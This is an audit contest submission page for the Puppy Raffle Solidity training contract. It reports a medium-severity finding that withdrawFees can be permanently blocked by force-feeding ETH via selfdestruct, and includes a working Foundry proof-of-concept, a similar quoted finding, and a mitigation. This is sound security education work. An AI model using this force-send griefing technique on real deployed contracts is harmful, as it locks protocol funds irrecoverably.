Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

`PuppyRaffle::withdrawFees` uses a strict balance equality that can be permanently bricked by force-fed ETH

zanydaisy23

================= DESCRIPTION =================

Description

withdrawFees requires that the contract's ETH balance exactly equals totalFees:

@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

An attacker can forcibly send ETH to the contract via selfdestruct (which bypasses
receive/fallback). This makes address(this).balance strictly greater than
totalFees, so the equality can never hold again and withdrawFees reverts forever,
locking all collected fees in the contract.

Risk

Likelihood: Medium — any address can deploy a one-line selfdestruct contract to
force ETH into the raffle; it is cheap and the effect is permanent.

Impact: Medium — a griefer permanently disables fee withdrawal; the protocol's fees
become unrecoverable. No theft, but funds are locked with no recovery path.

Proof of Concept

Complete, self-contained Foundry test. 4 players enter and a winner is selected (so the
balance equals totalFees). An attacker then force-sends 1 wei via selfdestruct, and
withdrawFees reverts forever:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract WithdrawFeesPoCTest is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
address feeAddress = address(99);
uint256 duration = 1 days;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
address[] memory players = new address[](4);
for (uint256 i = 0; i < 4; i++) players[i] = address(uint160(i + 1));
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner(); // now address(this).balance == totalFees
}
​
function test_withdrawFeesBricked() public {
// attacker force-sends 1 wei -> balance != totalFees, permanently
new ForceSend{value: 1}(payable(address(puppyRaffle)));
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees(); // reverts forever; fees are locked
}
}
​
// Sends ETH by force (no receive/fallback can block it)
contract ForceSend {
constructor(address payable target) payable {
selfdestruct(target);
}
}

Recommended Mitigation

Do not compare the live contract balance to totalFees, because ETH can be forced in and
the protocol does not control the balance. Remove the strict-equality check and withdraw
the tracked totalFees directly:

function withdrawFees() external {
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success, ) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

If a guard is still desired, use >= instead of == so forced ETH cannot brick the

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!